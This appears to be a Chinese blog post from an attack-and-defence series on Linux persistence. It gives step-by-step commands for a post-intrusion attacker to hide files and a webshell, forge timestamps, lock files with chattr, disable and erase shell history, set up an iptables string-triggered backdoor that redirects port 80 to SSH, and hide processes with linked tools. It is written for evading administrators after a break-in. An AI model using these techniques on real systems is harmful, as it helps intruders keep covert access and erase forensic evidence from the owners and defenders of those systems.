【攻防技术系列+权限维持】Linux隐藏技术

o-O-oO / 2024-07-18 / 原文

#权限维持 #Linux #隐藏

一、 隐藏文件
二、 隐藏文件时间戳
三、 隐藏权限
四、 隐藏历史操作
五、 隐藏端口
六、 隐藏进程

一、 隐藏文件

创建一个隐藏文件:

touch  .test.txt 

一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al

linux中每个目录下其实都有...,分别代指的是当前目录和上级目录。

建立...文件也是一个比较好的隐藏方法”。

建立参数混淆拦截rm文件

echo 'test' > --

创建--文件,需要用绝对路径才能读取和删除

rm -rf -- 命令执行了,文件没删除,命令也没有报错,可以误导管理员。

想要删除的话,使用rm -rf '/root/--'
另外,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。

/tmp/ .font-unix//tmp/.ICE-unix//tmp/.Test-unix//tmp/.X11 -unix//tmp/.XIM-unix/

二、 隐藏文件时间戳

Linux下藏后门必须要修改时间,否则很容易被发现,直接利用touch就可以了。

利用方法

比如参考index.php 的时间,再赋给webshell.php,结果两个文件的时间就一样

touch -r index.php webshell.php

或者直接将时间戳修改成某年某月某日。如下2024年06月01日8时10分30秒。

touch -t 2406010810.30 webshell.php

-t STAMP
-c 不创建文件

1.3 隐藏权限

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

这个技巧常被用在后门,变成了一些难以清除的后门文件。

chattr +i webshell.php  #锁定文件
rm -rf webshell.php     #提示禁止锁定

lsattr webshell.php     #属性查看

chattr -i webshell.php  #解除锁定

rm -rf webshell.php     #彻底删除文件

1.4 隐藏历史操作

无痕模式:

拿到shell以后也就是成功入侵之后,开始【无痕模式】,禁用命令历史记录功能。

[space]set +o history

或者空格+命令	

备注:[space]表示空格。并且由于空格的缘故,该命令本身也不会被记录。

在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。

要【重新开启历史功能】,执行下面的命令:

[Space]set -o history

它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。

删除指定历史命令:

history显示内存和~/. bash _history中的所有内容;内存中的内容并没有立刻写入~/.bash_ history, 只有当当前shell关闭时才会将内存内容写入shell

删除单条命令:

history -d [num]

删除多条命令:

sed -i "100,$d" .bash_ history   #删除100行以后的操作命令

1.5 隐藏端口(还没复现)

通过端口复用来达到隐藏端口的目的。
这里以隐藏SSH端口,通过SSH进行远程登录为例。

【方法1】通过SSLH让HTTPS和SSH共享同一个端口

这里以kali为例简单演示:
1、下载SSLH :

sudo apt-get install sslh

2、配置SSLH :

sudo vi /etc/default/sslh

修改为:

DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --tls 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

3、启动SSLH :

$ sudo systemctl enable sslh
$ sudo systemctl start sslh

复现过程中,可能会遇到启动sslh失败,确保 sslh 用户或组有权限写入该目录。
你可以使用 chown 命令更改所有者和组:

4、测试,检查SSLH守护程序是否正在监听443。

5、利用:

现在,你可以使用端口443通过SSH访问远程服务器:

【方法2】利用IPTables进行端口复用

【目标机器配置】:

#端口复用链
iptables -t nat -N LETMEIN    
#端口复用规则
iptables -t nat -A LETMEIN -p tcp - j REDIRECT --to-port 22
#开启开关
iptables -A INPUT -p tcp -m string  --string 'threathuntercoming' --algo bm --set --name letmein --rsource -j ACCEPT 
#关闭开关
iptables -A INPUT -p tcp -m string  --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT 
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent  --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

【攻击机运行】:

#开启复用
echo threathuntercoming | socat - tcp:192.168.8.127:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.111.133
#关闭复用
echo threathunterleaving  |  socat - tcp:192.168.8.127:80

测试完毕后,在目标机删除iptables规则:

iptables -L -n --line-number  
iptables -D INPUT 3  //删除INPUT的第三条已添加规则,这里3代表第几行规则
		

1.6 隐藏进程

管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
libprocesshider :

https://github.com/gianlucaborello/libproces/shider

linux-inject:

https://github.com/gaffe23/linux-inject